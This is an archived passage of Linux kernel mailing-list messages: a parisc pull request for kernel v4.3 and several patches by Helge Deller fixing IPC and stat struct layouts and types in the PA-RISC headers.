 jwcCR3/Oabx39O0fRBlxdvYd4aZnRXtmLfp/AUG8Soybnh/GvKDcQYySeijNNX1k6l+OBEs2a
 CZy560dLSOy2Lg2V4FR5B3Gm4kEn2YPe+Il7BGi7geJQhiicWNdB6gnTUndfDyAMV5dLtvfit
 lP6JBPu9aIIY/NRM+hCZAkzmxuf5hWmt3IiX1dWHejpGhay8ovX7fkPeUVj7uduD7KdMv6iVU
 oZCVB83M2SCG7MjQU95Td+yoxQKQwolBXfpVheQ7XUMY1s/YcRH63kdpMbbbhX7WnTPf4ZRKq
 Yj9Bq5+xamI2YDCvHGUixW4LzO9KJNeT/s10FeSnAHW2SlzaOiQXJNOXlqUoRGfAjhYDztCP9
 SqTsP+YKf37dBpcOWya1tDJfR1Hx+sEdtOoUNVKOIuB53wJzrfW3+dVc/2hv8BvcsAytZGEbP
 wqRCpozwj7FQx95WyqWQ5pqnRHmFGvKjZdi8a3I0o8ks97d+Tk7iLLjZeBhqHd+Yjq/a0pnE/
 MobKjYXL8Jfdw6INrKhTszJReLlv2TcoIvQQgXQqokViBeQj3VUmRH3boed3PscRyZarx1Alg
 C4lRramILx1XDSm76eKEbwPw9tJBLnBVskwf5j6U5drI/QoS7sxikxvyFKQ=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2070457 gmane.linux.ports.parisc:26101
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2070457>

Hi Linus,

please pull some patches for the parisc architecture for kernel v4.3 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.3-2

The most important change is that we reduce L1_CACHE_BYTES to 16 bytes, for
which a trivial patch for XPS in the network layer was needed.
Then we wire up the sys_membarrier and userfaultfd syscalls and added two other
small cleanups.

Thanks,
Helge

----------------------------------------------------------------
Axel Lin (1):
      parisc: serial/mux: Convert to uart_console_device instead of open-coded

Helge Deller (3):
      parisc: Wire up userfaultfd syscall
      parisc: reduce syslog debug output
      net/xps: Fix calculation of initial number of xps queues

John David Anglin (1):
      parisc: Change L1_CACHE_BYTES to 16

Mathieu Desnoyers (1):
      parisc: allocate sys_membarrier system call number

 arch/parisc/include/asm/cache.h       | 18 +++++-------------
 arch/parisc/include/uapi/asm/unistd.h |  4 +++-
 arch/parisc/kernel/syscall_table.S    |  2 ++
 drivers/parisc/lba_pci.c              | 12 ++++++------
 drivers/tty/serial/mux.c              |  9 ++-------
 include/linux/netdevice.h             |  4 ++--
 6 files changed, 20 insertions(+), 29 deletions(-)

From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop hpux_stat64 struct from stat.h header file
Date: Wed, 28 Oct 2015 21:40:18 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20151028204018.GA3141@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1446064850 3016 80.91.229.3 (28 Oct 2015 20:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2015 20:40:50 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 21:40:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZrXWJ-0007bU-Sa
	for glpp-linux-parisc@plane.gmane.org; Wed, 28 Oct 2015 21:40:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751504AbbJ1Ukb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2015 16:40:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:57080 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751431AbbJ1Uka (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2015 16:40:30 -0400
Original-Received: from ls3530.box ([92.203.5.49]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MbKXI-1aAJO61WFg-00ImvD; Wed, 28 Oct 2015 21:40:22
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:LdvYDa2US49OD1fUISbR+OdGPrNaPFVU+bwxTEflm73G/odTHlJ
 oAF5P+qk/fr2mBHIH9C9pKO+fk7Z4Ic/3bxdZkm0EJzoyxJOM/bsECw9VU8vu7DIk6X3M6e
 8wnK04LSJXj24YosTGnaI5zvKJIPIZ+U8YowRcoGt440ujL9habQl1hyx/JldjOrQMQNWP/
 Xg7tlDvaJ3TgONvou5skg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:YtZB8rh28Ms=:R+rgYyIPh6vMXoNkS1ENjY
 pBpWGBXm7D8fbY87GJ/3qWfK4XXNSRv1TKnuCqlS737fAUX0E0jv2iBEiU73IPCFg+2cJNcTZ
 +ttNqpeLtMbGwQAoScbyN54EXqq3RRi4dzuyHOTj0eh07tWPaeNNR1NF7fbXFKh8F76DfmnZh
 0S76BaxsCKuPwEKx5QPCpJJJ2t6ux4qsgkBsdDfIYmTD4Gr2knnQuBCmdQ+PVIlWtTEmhriQS
 fzOqz9mZQ1fV67qm1aK/wFkpAMycytD9GyXupz+AglDnTeowH8Abcez8Rf9t3ZitONUe5wy+P
 PN3dG/6axiRXDfQd2D2XBYC4iyF6ZsPFVkc/IdWipRx14x9oxkfGDkY5UihJlonmcTRhVq8/x
 ST7/5noYel10w6E4e5PMHhlGMGyyQ1pfutH3DxKBFy8rnsZ25n7C0ml7Ir061ge/J8eTpcxqG
 mlBaQQaf/gcw80a3KfE3SinYAQN9xswLzvtRiqPu9o8EgEzKbKgGLZtzENYJBi3tb33lYFeHt
 BKt6iaQjJrV0nuBXP6vZTClkCKBlKvgo/0i5X1cnBwvNxpb5/oDODONJhnK+SJCx6sX0RKA4A
 usVMzsqiHRlNETh1U4QfPb39xYFkxYsZBDImaaytNCUWKLHCSABpAPRP0qr1XRIaRarcvG7KF
 hjloy0L5DF36rYl3pgVsvikpY3dwqBjnqDfuPzHWxGJm4tXEvPiTCO9IVfl16VGzjsj7cIgbG
 9oGB+uEcDuYlXNabPuHc4HuT5aUar63TV6xRJZs3dlkopH+XqkEDUJSROlM=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26102
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26102>

The struct hpux_stat64 is not needed any longer since we dropped HP-UX
support in commit 04c1614 ("parisc: hpux - Drop support for HP-UX
binaries").

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/stat.h b/arch/parisc/include/uapi/asm/stat.h
index b606b36..3310d2a 100644
--- a/arch/parisc/include/uapi/asm/stat.h
+++ b/arch/parisc/include/uapi/asm/stat.h
@@ -36,37 +36,6 @@ struct stat {
 
 #define STAT_HAVE_NSEC
 
-struct hpux_stat64 {
-	unsigned int	st_dev;		/* dev_t is 32 bits on parisc */
-	unsigned int	st_ino;         /* 32 bits */
-	unsigned short	st_mode;	/* 16 bits */
-	unsigned short	st_nlink;	/* 16 bits */
-	unsigned short	st_reserved1;	/* old st_uid */
-	unsigned short	st_reserved2;	/* old st_gid */
-	unsigned int	st_rdev;
-	signed long long st_size;
-	signed int	st_atime;
-	unsigned int	st_spare1;
-	signed int	st_mtime;
-	unsigned int	st_spare2;
-	signed int	st_ctime;
-	unsigned int	st_spare3;
-	int		st_blksize;
-	unsigned long long st_blocks;
-	unsigned int	__unused1;	/* ACL stuff */
-	unsigned int	__unused2;	/* network */
-	unsigned int	__unused3;      /* network */
-	unsigned int	__unused4;	/* cnodes */
-	unsigned short	__unused5;	/* netsite */
-	short		st_fstype;
-	unsigned int	st_realdev;
-	unsigned short	st_basemode;
-	unsigned short	st_spareshort;
-	unsigned int	st_uid;
-	unsigned int	st_gid;
-	unsigned int	st_spare4[3];
-};

From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix compat_semid64_ds struct
Date: Wed, 28 Oct 2015 23:17:29 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20151028221729.GA12985@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1446070668 32349 80.91.229.3 (28 Oct 2015 22:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2015 22:17:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:17:41 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZrZ2K-0002lI-V1
	for glpp-linux-parisc@plane.gmane.org; Wed, 28 Oct 2015 23:17:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754483AbbJ1WRj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2015 18:17:39 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:53411 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752688AbbJ1WRj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2015 18:17:39 -0400
Original-Received: from ls3530.box ([92.203.5.49]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M5r89-1afxiu0U9p-00xtvd; Wed, 28 Oct 2015 23:17:33
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:F49L4tL1RhXB0XsaKg/T7Y1VY4k7IxltYA2xeHEZYOwYqTfwwv3
 KlKiIFhmwpk4/oTec/0T2zU+kFCOuBR0y74VylghgUQ15+IXdpAOUKUYzoMTZueMDetnvdu
 FGgznLX5QvDATHwlUTqgB5rK/DFP+xtMjGS4azkxtVK5HkB3U49xSnqKwEve8YLU5y+UYr1
 mlgPmCn3dZ9Hw1pIjk7eg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mUyX9VKYT9o=:5rFLhtiA1de//EGBXHznec
 mJEZpS5ldeANtsin1UVBRTRZTbllp2mk6pZBv1Qd7ld4GI5wkYg18NOgtnoOOhLXM545tyHpS
 ph4eeOt7eyNPcFnvNyEbH4kXVGcsDbL+procWukU1r4ozr3Ewd0Lf1AlnlSDCzMdu0dNh9Tjq
 MxIYQA2iN173k5fJbiQAoCWNQv+AXPDheCgrIEPkkXHdFErIGO4h3ISTRgZW9q/Py1H6QAykd
 WhyJOWyjXGY3QQTzA4fdQbYVLTPQGTiTIZBN3oiGdBnhQa8P70r5S7yYW1wglE3cdKqDjZSkK
 GgGIKtBwg2o/zoCHI8VAF5PpCdVzcpqBfCaZd9KMuxaNcK76Pwfe3fImIG8p7rqNenHQNwFBT
 ZNcHC2c1pY+fHeEn/Rf19xk4Sf71zmHzqJfud14uVsRkFKMUCemDdCfuY7FYIY9FDkMwhhLFJ
 HLICUGcjAM3WyggebuufKofrpHMLQnIzNBzRDO57VY9Z8vf6q07zbsfWk4hLmYdEL+Aled4+Z
 oEMcI9qzfSlfuJ9prp6t3Rr34m4xGc86dxbiGZ0Pa3JYUSCjgZWRfyTFxZzc2APM0tl43uk7K
 EOA7CKukEhApfPTn6cfTSSwfY/RFFp0AWwi39OEMCWo71OIgPY5bB9SUe/3C7yIcay4WIGmLV
 rtYTI31iigKOuUdWDcKnAhbQmwHVJNP/irN1OSaougZalw9FxnhmH5/TVntxoDrxWGIwhB20J
 UBu6OArk8/g/L/8rNSFu+wgBIxXdSCrDGB2pvlTN9gPxj5sqvRURuH6EZME=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26103>

Fix struct compat_semid64_ds to match our version of semid64_ds from
asm/sembuf.h. Basically the compat version did not take the
big-endianess into account.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 94710cf..0448a2c 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -206,10 +206,10 @@ struct compat_ipc64_perm {
 
 struct compat_semid64_ds {
 	struct compat_ipc64_perm sem_perm;
-	compat_time_t sem_otime;
 	unsigned int __unused1;
-	compat_time_t sem_ctime;
+	compat_time_t sem_otime;
 	unsigned int __unused2;
+	compat_time_t sem_ctime;
 	compat_ulong_t sem_nsems;
 	compat_ulong_t __unused3;
 	compat_ulong_t __unused4;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix shmid64_ds to use __kernel_size_t
Date: Wed, 28 Oct 2015 23:21:08 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20151028222108.GA13001@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1446070894 3578 80.91.229.3 (28 Oct 2015 22:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2015 22:21:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:21:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZrZ5t-00062m-98
	for glpp-linux-parisc@plane.gmane.org; Wed, 28 Oct 2015 23:21:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751662AbbJ1WVT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2015 18:21:19 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:61087 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750904AbbJ1WVT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2015 18:21:19 -0400
Original-Received: from ls3530.box ([92.203.5.49]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LtrKX-1aaUof0UlB-011ETE; Wed, 28 Oct 2015 23:21:12
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Pb2D0iUDG5g1wsw6bgApUWbbQ3Av6GF2bRzaktswAwMXdkXJzxI
 RHXSVcNV3tUKgUDut5hON1XWWEc+ZUobQzdTe5AZEsVAjPKqneEF8gV1eOzKKJBXhKBESLH
 NW91J9BLWNuhwdmV0EXPhMyvdrWEyvr+CBpF5IT0Sn1q8w2lh5k6fpoJkzrLkfwaLrKGmqa
 jGudaLU+AKyhHsx2tJdog==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wJRVCz0hJ60=:e0MrNooxikPgcTs+blgWfm
 PEKd695JNVlNpP5cYZCYlrBUsxdhg+zJF7lc9hBDstqsztyLhuHWccr7+RITo48QGKB3hWoHL
 GvCIyP1feUKg9TFx5hh96/bZzQtgXKcYiHPey97RGMSEfova6Ev1dFiVtLJTqXAqFWUz4N8Sm
 7FNw3avIMqxqnW5sSO2vm1YgNMVe73t9lWSpwkBwcGInKSGY/4t1MJq3eqXCiUTt5RfrNrlOj
 jM9rQeJwI0HRTbGRLpRRJVSDsaHOIMFPXrVWUpdTEJy7Z/hWcb+xaGmldVNGM2G4hMKxjVg9T
 iLRhVWBQa4M7CkJO23rrO/oojxZfzUPxfvhrQSpzPcR9zMdyutye/ckLvP9tqdJ8RmboBdq5v
 uz8Rl++d5gjgQNR86SZYhjQQr6/Q7BrAuGYUjIKAr121bRqRwN8gsvXcaIiaMI4Iktf5mOEmM
 tZkJF4ssXI1wkGfy16iN8j1qPOCZYYm1VlwBX5J2mD2N8pLskYPs4pVxV6PjC0GjytD4e1EPp
 uYfJZ6qlGL+SiAg7QpwM08w3cPl4X8VEKbrCg3hLpGdfmhzQ7b+wIPXHURn4tdYeo/6NbQMwM
 GY5mTlS+us53Oi9iNG7+XFUGpgaT5XrKKk2VRKZ5o/sHR0von/wFw+bkmL1oF34kaLD1YOp2l
 l12KH919bWgC4wrY0fiBrIRXTWwRa4LgTHf1s3TORNhvQBkP+jhsIg+dcB/+VSIfEn+ozYdyq
 Go1mmAr3ABV7JNfcaxYYZ+4jUOkRm0hvFHdQQhG5hqr3Rlmsxyifm2Mfj6g=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26104>

size_t is either 32 or 64bit. Make struct shmid64_ds clean for 32- and
64-bit userspace (even if we do not have a 64-bit userspace yet).

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/shmbuf.h b/arch/parisc/include/uapi/asm/shmbuf.h
index 8496c38..d48f67d 100644
--- a/arch/parisc/include/uapi/asm/shmbuf.h
+++ b/arch/parisc/include/uapi/asm/shmbuf.h
@@ -30,7 +30,7 @@ struct shmid64_ds {
 #if __BITS_PER_LONG != 64
 	unsigned int		__pad4;
 #endif
-	size_t			shm_segsz;	/* size of segment (bytes) */
+	__kernel_size_t		shm_segsz;	/* size of segment (bytes) */
 	__kernel_pid_t		shm_cpid;	/* pid of creator */
 	__kernel_pid_t		shm_lpid;	/* pid of last operator */
 	unsigned int		shm_nattch;	/* no. of current attaches */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix struct ipc64_perm to use userspace-clean types
Date: Wed, 28 Oct 2015 23:27:09 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20151028222709.GA13026@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1446071251 9249 80.91.229.3 (28 Oct 2015 22:27:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2015 22:27:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:27:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZrZBg-0000lb-E8
	for glpp-linux-parisc@plane.gmane.org; Wed, 28 Oct 2015 23:27:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751693AbbJ1W1T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2015 18:27:19 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:61115 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751234AbbJ1W1T (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2015 18:27:19 -0400
Original-Received: from ls3530.box ([92.203.5.49]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MgLMU-1a6Mkg3jJW-00NikT; Wed, 28 Oct 2015 23:27:13
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:9U+aDtS8q9Erf2lPagCScRc3lzu36CQBx7E0kmWN63dBZS2QfjF
 eIR9uJAgYDshbJwBxElcr7dLjczLUXbWjHo37/9hwvXX4hKzZthzWMBWV1zyEUCD8dDhiiw
 8CYD42iiF4nMdV4BSz9UG8nY9TDN70MEfmrMekbbWxIyXHYBN5Hg6IcwbC5mQqfLs0VTlej
 fVtXla34s5H1hMFRLThDw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:oRmZ8X2yZdM=:aqPybyHjgsxYIl+2pf6BL+
 lmKR8+63ZO8TLBZ/rKlwbeKhIGcFr+33MI+7Mq1jCOSwLs3VAD3zmhyojTJ1XZOwDlF0ddKyx
 XdqRTkYXONYYUYE7ODbQXzNk7SxCyrbvFN9p27Is+dMGkO5K99ICR7aTZM09y7ZYLjuhmMh4v
 oQVmu8j50wxkwBVV4K13dA+/wayrAoAP7aoyhwChcsESEAWdH4/+1qupWrMF19GEkiCQ2F4BJ
 mUeCC0kHk2NwwUom5X3DKvJKO055TPrYrjXlM/R5uEiznuP+rxoSST4lUE/xNDHO62Gz2dJ+5
 Fg0jFpQ6uCR9tSKEtfDVjtVvnv/JGzSehuQli3p5tWwHOpgodOwqFREPWJGMysDPJFql7yshD
 wAeiwaDtH+Cx7EvFBysE3wcp1r69rYN6yXGrxqeWSoeU0JK7lUkQwi41eUKqyIBYn64S+T8ap
 2pVpqMiaPOmOB6x/eXi6/OW09YuFzpfVb07T7IFSfS9/O6j5HQZAffGsGc5A6YZEt2bVJyfBH
 bvfytsFWzCyFjCWb1RDGI5xsGJIOqKPgd6zRc4VPXOkwWdXE05Hq1mqzc9f/1wOOw0DDsr1VC
 wSAK3SkT90mJlc2Atx5G8X9lXSkhluqcGsRe4p9smio3PluzR6Oh6NT32J7cEV4xlWiEsqeOx
 mo4wNBQHwx2uIgr2vB3qWLzm62zvddjzdUzlFUvFSEp8LGoByCpmIeofYOsFi8boS9djn0c7U
 GstJTDJ2Xy34faM57FqNvD+ggn65FcFUy8WaDnAT19PweB6BhpNjU2u+hE4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26105>

The current implementation is just wrong. It should not use standard
types like uid_t which may be different if used with 32 or 64bit
userspace. Instead use the __kernel_* types which do not pollute
userspace.

This change fixes build errors like for the trinity debian package.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/ipcbuf.h b/arch/parisc/include/uapi/asm/ipcbuf.h
index bd956c4..53472bc4 100644
--- a/arch/parisc/include/uapi/asm/ipcbuf.h
+++ b/arch/parisc/include/uapi/asm/ipcbuf.h
@@ -1,6 +1,8 @@
 #ifndef __PARISC_IPCBUF_H__
 #define __PARISC_IPCBUF_H__
 
+#include <linux/posix_types.h>
+
 /*
  * The ipc64_perm structure for PA-RISC is almost identical to
  * kern_ipc_perm as we have always had 32-bit UIDs and GIDs in the kernel.
@@ -10,16 +12,17 @@
 
 struct ipc64_perm
 {
-	key_t           key;
-	uid_t           uid;
-	gid_t           gid;
-	uid_t           cuid;
-	gid_t           cgid;
-	unsigned short int	__pad1;
-	mode_t          mode;
+	__kernel_key_t		key;
+	__kernel_uid_t		uid;
+	__kernel_gid_t		gid;
+	__kernel_uid_t		cuid;
+	__kernel_gid_t		cgid;
+				/* pad if mode_t is u16: */
+	unsigned char		__pad1[4 - sizeof(__kernel_mode_t)];
+	__kernel_mode_t		mode;
 	unsigned short int	__pad2;
 	unsigned short int	seq;
-	unsigned int	__pad3;
+	unsigned int		__pad3;
 	unsigned long long int __unused1;
 	unsigned long long int __unused2;
 };
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add build-time sanity checks for compat ipc struct
 sizes
Date: Wed, 28 Oct 2015 23:30:10 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20151028223010.GA27319@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1446071435 12042 80.91.229.3 (28 Oct 2015 22:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2015 22:30:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 23:30:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZrZEc-0000lb-R6
	for glpp-linux-parisc@plane.gmane.org; Wed, 28 Oct 2015 23:30:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751662AbbJ1WaW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2015 18:30:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54017 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751447AbbJ1WaV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2015 18:30:21 -0400
Original-Received: from ls3530.box ([92.203.5.49]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MKt5A-1ZrZET37Wy-00010t; Wed, 28 Oct 2015 23:30:14
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Suksf49bcNIsAil1LyXSEEIl0DjI7BqgmVBbXO19UHZqjb3Da+N
 N0hwnbQG3h5aMaQtuD2t6KrqaZ1WuUt+uu+qZsfPwmItH6hEpqfRieXScWF6+lEPyR0cXV9
 VFjxtdMCk7nnVOrMGeT4g9+2PRJiyASCif37CRM6QC83dg6yAgf337rXQjTAkbHjHxX4VGq
 TBkEWLtUHz4KsTYBBDXiQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:oHnLaJhVwsE=:neapbmITumE+z4Z/z8mH/s
 ZTOJQVmlkLa56VUBlHz8nC+wgcx83csb7vJ5NV3aTwdSVTX6KQMd3xN1m721hACzBFiLQafNe
 6RQSwYriI86qCshV4s1pG7KqPRFuL4G9moQAEQYvVEpvAceTmpfUL7mgr7fLUwCvDJU+pzbhj
 uxbwA5DALuvVN6P+PAoMpUZnUMHXtogOUy0py5CTr60iALRQj/vv31fScmPwJcNYVyoIUhzV/
 TDfIjA8d/fD8wYQPIG6PyI1vs7mXGODc9UF4tGJlXmqMBuqRDw7ByOvlPHFjqHdaMfmqd7At+
 KPdw6MO/FAqZR3mQzLs0FNMxOS570y/o0ueJpgBnU6LH2txEWYOggJEWlpLXsIRncPSdLeFZf
